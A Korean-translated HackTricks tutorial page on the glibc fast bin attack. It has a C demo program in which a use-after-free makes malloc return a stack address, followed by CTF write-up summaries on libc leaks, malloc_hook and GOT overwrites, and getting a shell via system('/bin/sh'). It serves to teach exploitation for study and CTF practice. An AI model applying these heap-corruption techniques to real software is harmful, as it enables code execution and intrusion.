hacktricks/binary-exploitation/heap/fast-bin-attack.md

11 KiB

Fast Bin Attack

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요

다른 HackTricks를 지원하는 방법:

기본 정보

빠른 바인에 대한 자세한 정보는 다음 페이지를 확인하세요:

{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}

빠른 바인은 단일 링크드이므로 다른 바인보다 보호 기능이 훨씬 적습니다. 그리고 해제된 빠른 바인 청크의 주소를 수정하는 것만으로도 이후에 임의의 메모리 주소에 청크를 할당할 수 있습니다.

요약하면:

{% code overflow="wrap" %}

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

{% endcode %}

상세히 설명된 코드에서 완전한 예제를 찾을 수 있습니다. https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

{% hint style="danger" %} 만약 글로벌 변수 **global_max_fast**의 값을 큰 숫자로 덮어쓸 수 있다면, 더 큰 크기의 fast bin을 생성할 수 있어 이전에는 불가능했던 시나리오에서 fast bin 공격을 수행할 수 있게 됩니다. {% endhint %}

예시

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • 청크를 할당하고 해제한 다음, 그 내용을 읽고 채울 수 있습니다 (오버플로우 취약점을 이용).
  • 정보 누출을 위한 청크 통합: 오버플로우를 악용하여 가짜 prev_size를 생성하여 이전 청크를 더 큰 청크 안에 넣어, 더 큰 청크를 할당할 때 다른 청크를 포함하는 것이 가능해지며, 그 데이터를 인쇄하고 libc(main_arena+88) 주소를 누출할 수 있습니다.
  • malloc 후크 덮어쓰기: 이를 위해 이전에 겹치는 상황을 악용하여 메모리를 가리키는 2개의 청크를 가지고 있었습니다. 따라서 두 청크를 모두 해제하면 (보호를 피하기 위해 중간에 다른 청크를 해제), 같은 청크를 fast bin에 2번 넣을 수 있었습니다. 그런 다음, 다시 할당하여 다음 청크를 malloc_hook 앞쪽을 가리키도록 덮어쓰고 (malloc이 무료 크기로 생각하는 정수를 가리키도록 하여 다른 우회), 다시 할당하고 malloc 후크 주소를 받을 다른 청크를 할당할 수 있습니다.
    마지막으로 원 가젯이 거기에 작성되었습니다.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • 힙 오버플로우와 사용 후 무료 및 이중 해제가 있습니다. 청크가 해제되면 포인터를 재사용하고 다시 해제할 수 있습니다.
  • Libc 정보 누출: 일부 청크를 해제하면 메인 아레나 위치의 일부를 가리키는 포인터를 얻을 수 있습니다. 해제된 포인터를 재사용할 수 있으므로 이 주소를 읽을 수 있습니다.
  • Fast bin 공격: 할당된 모든 포인터는 배열 안에 저장되므로 몇 개의 fast bin 청크를 해제하고 마지막 청크에서 이 포인터 배열 앞쪽을 가리키도록 주소를 덮어쓸 수 있습니다. 그런 다음, 동일한 크기의 몇 개의 청크를 할당하면 먼저 정품 청크를 얻은 다음 포인터 배열을 포함하는 가짜 청크를 얻을 수 있습니다. 이제 이 할당 포인터를 free의 got 주소를 가리키도록 덮어쓸 수 있어 system으로 가리키도록 하고 청크 1 "/bin/sh"를 쓴 다음 free(chunk1)을 실행하여 system("/bin/sh")를 실행할 수 있습니다.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • 정렬되지 않은 bin에서 1바이트 오버플로우를 악용하여 청크를 통합하고 libc 정보 누출을 얻은 다음 malloc 후크를 원 가젯 주소로 덮어쓰기 위한 fast bin 공격을 수행하는 또 다른 예시
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • 정렬되지 않은 bin을 악용하여 정보 누출을 위한 UAF를 남용하여 libc 주소와 PIE 주소를 누출한 후, 이 CTF의 exploit은 fast bin 공격을 사용하여 제어된 청크가 위치한 곳에 청크를 할당하여 특정 포인터를 덮어쓰고 GOT에 원 가젯을 작성할 수 있었습니다.
  • 정렬되지 않은 bin 공격을 통해 악용된 Fast Bin 공격을 찾을 수 있습니다:
  • fast bin 공격을 수행하기 전에 필요한 경우 libc/힙 주소를 누출하기 위해 unliked list를 악용하는 것이 일반적임을 유의하십시오.

{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}

제로부터 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: